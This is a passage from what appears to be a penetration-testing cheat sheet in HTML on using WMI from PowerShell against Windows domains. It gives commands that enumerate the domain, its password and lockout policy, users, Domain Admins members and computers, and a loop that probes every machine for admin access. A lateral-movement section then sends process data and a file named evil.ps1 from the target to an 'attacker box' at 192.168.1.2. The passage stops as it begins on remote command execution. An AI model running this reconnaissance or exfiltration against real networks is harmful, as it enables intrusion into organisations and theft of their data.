CU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJyb290JTVDJTVDZGlyZWN0b3J5JTVDJTVDbGRhcCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwbmFtZXNwYWNlJTIwY2FuJTIwYmUlMjB1c2VkJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQ2xhc3MlMjBwcmVmaXhlZCUyMHdpdGglMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYWRzXyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYXJlJTIwYWJzdHJhY3QlMkMlMjB3aXRoJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmRzXyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIydGhleSUyMGFyZSUyMGR5bmFtaWMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="55f9320f79fe4da2918d523a2fb88714"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="9f1ee49257cb449fb27d34c59791579b">Class prefixed with <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">ads_</code>are abstract, with <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">ds_</code>they are dynamic</span></span></p>
</li>
</ul><h4 id="bkmrk-get-the-current-doma"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHRoZSUyMGN1cnJlbnQlMjBkb21haW4lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Get the current domain</span></span></h4>
<pre id="bkmrk-get-wmiobject--names-1"><code class="language-Powershell">Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select -ExpandProperty ds_dc</code></pre>
<h4 id="bkmrk-current-domain-polic"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkN1cnJlbnQlMjBkb21haW4lMjBwb2xpY3klMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Current domain policy</span></h4>
<pre id="bkmrk-get-wmiobject--names-2"><code class="language-Powershell">Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select DS_lockoutDuration, DS_lockoutObservationWindow, DS_lockoutThreshold, DS_maxPwdAge, DS_minPwdAge, DS_minPwdLength, DS_pwdHistoryLength, DS_pwdProperties</code></pre>
<h4 id="bkmrk-get-the-current-dc"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHRoZSUyMGN1cnJlbnQlMjBEQyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Get the current DC</span></h4>
<pre id="bkmrk-get-wmiobject--names-3"><code class="language-Powershell">Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | Where-Object {$_.ds_UserAccountControl -eq 532480} | select ds_cn</code></pre>
<h4 id="bkmrk-domain-user-accounts"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkRvbWFpbiUyMHVzZXIlMjBhY2NvdW50cyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Domain user accounts</span></h4>
<pre id="bkmrk-get-wmiobject--class-5"><code class="language-Powershell">Get-WmiObject -Class win32_UserAccount
Get-WmiObject -Class win32_UserAccount | select name
Get-WmiObject -Class win32_UserAccount -Filter "Domain = 'contoso'"</code></pre>
<h4 id="bkmrk-domain-groups"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkRvbWFpbiUyMGdyb3VwcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Domain groups</span></h4>
<pre id="bkmrk-get-wmiobject--class-6"><code class="language-Powershell">Get-WmiObject -Class win32_Group
#Groups from another domain
Get-WmiObject -Class win32_GroupInDomain | Where-Object {$._GroupComponent -match "childone"} | Foreach-Object {[wmi]$._PartComponent}</code></pre>
<h4 id="bkmrk-group-memberships"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdyb3VwJTIwbWVtYmVyc2hpcHMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Group memberships</span></h4>
<pre id="bkmrk-get-wmiobject--class-7"><code class="language-Powershell">Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}

#For a specific domain
Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "childone" -and $._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}</code></pre>
<h4 id="bkmrk-group-membership-of-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdyb3VwJTIwbWVtYmVyc2hpcCUyMG9mJTIwYSUyMHBhcnRpY3VsYXIlMjB1c2VyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Group membership of a particular user</span></h4>
<pre id="bkmrk-get-wmiobject--class-8"><code class="language-Powershell">Get-WmiObject -Class win32_GroupUser | Where-Object {$._PartComponent -match "john"} | Foreach-Object {[wmi]$._GroupComponent}</code></pre>
<h4 id="bkmrk-get-all-domain-compu"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMGFsbCUyMGRvbWFpbiUyMGNvbXB1dGVycyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Get all domain computers</span></h4>
<pre id="bkmrk-get-wmiobject--names-4"><code class="language-Powershell">Get-WmiObject -Namespace root\directory\ldap -Class ds_computer
Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn</code></pre>
<h4 id="bkmrk-check-admin-access"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNoZWNrJTIwYWRtaW4lMjBhY2Nlc3MlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Check admin access</span></h4>
<p id="bkmrk-by-default%2C-wmi-can-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNoZWNrJTIwYWRtaW4lMjBhY2Nlc3MlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">By default, WMI can only run remote command on a machine if we have admin rights on it<br>By trying to run a simple command on all the domain machine, we can check if we have any admin privs on them</span></p>
<pre id="bkmrk-%23get-the-computer-li"><code class="language-Powershell">#Get the computer list
$computers = Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn

#For each one, try to access to win32_ComputerSystem
foreach($computer in $computers) {
    (Get-WmiObject win32_ComputerSystem -ComputerName $computer).Name
}</code></pre>
<h3 id="bkmrk-lateral-movement"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkxhdGVyYWwlMjBNb3ZlbWVudCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Lateral Movement</span></h3>
<h4 id="bkmrk-information-storage"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkxhdGVyYWwlMjBNb3ZlbWVudCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Information storage</span></h4>
<p id="bkmrk-wmi-can-be-useful-to" class="blockParagraph-544a408c" data-key="97900554e18d4047819af47703116c70"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="bab1900cd3014918ad90ff3762d09cc2">WMI can be useful to store information like shellcode, instructions, registry, etc</span></span></p>
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSSUyMGNhbiUyMGJlJTIwdXNlZnVsJTIwdG8lMjBzdG9yZSUyMGluZm9ybWF0aW9uJTIwbGlrZSUyMHNoZWxsY29kZSUyQyUyMGluc3RydWN0aW9ucyUyQyUyMHJlZ2lzdHJ5JTJDJTIwZXRjJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwcmVjZWl2ZSUyMGElMjBmaWxlJTIwb3IlMjBzYXZlJTIwaW5mbyUyMHRvJTIwYSUyMGZpbGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" id="bkmrk-to-receive-a-file-or">
<div>
<div>
<div>
<ul class="list-20526648" data-key="928110cf2cd04e599c4cc7cc52ee859e"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="d1eef83657924ca089ba5385b17a98e6"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c945720e8c3e4cb582852580f005e274">To receive a file or save info to a file</span></span></p>
</li>
</ul></div>
</div>
</div>
</div>
<pre id="bkmrk-get-infowmi--outfile"><code class="language-Powershell">Get-InfoWmi -Outfile C:\tmp\evil.ps1</code></pre>
<ul id="bkmrk-to-send-data-from-th"><li><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwc2VuZCUyMGRhdGElMjBmcm9tJTIwdGhlJTIwdGFyZ2V0JTIwdG8lMjB0aGUlMjBhdHRhY2tlciUyMGJveCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">To send data from the target to the attacker box</span></li>
</ul><pre id="bkmrk-send-infowmi--datato"><code class="language-Powershell">Send-InfoWmi -DatatoSend (Get-Process) -ComputerName 192.168.1.2 -Username Administrator</code></pre>
<ul id="bkmrk-to-transfer-a-file"><li><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwdHJhbnNmZXIlMjBhJTIwZmlsZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">To transfer a file</span></li>
</ul><pre id="bkmrk-send-infowmi--fileto"><code class="language-Powershell">Send-InfoWmi -FiletoSend C:\tmp\evil.ps1 -ComputerName 192.168.1.2 -Username Administrator</code></pre>
<h4 id="bkmrk-command-execution---"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmQlMjBleGVjdXRpb24lMjAtJTIwd2luMzJfc2VydmljZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Command execution - win32_service</span></h4>
<p id="bkmrk-it%27s-possible-to-sta"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmQlMjBleGVjdXRpb24lMjAtJTIwd2luMzJfc2VydmljZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">It's possible to start a process or a script with WMI on a machine</span></p>
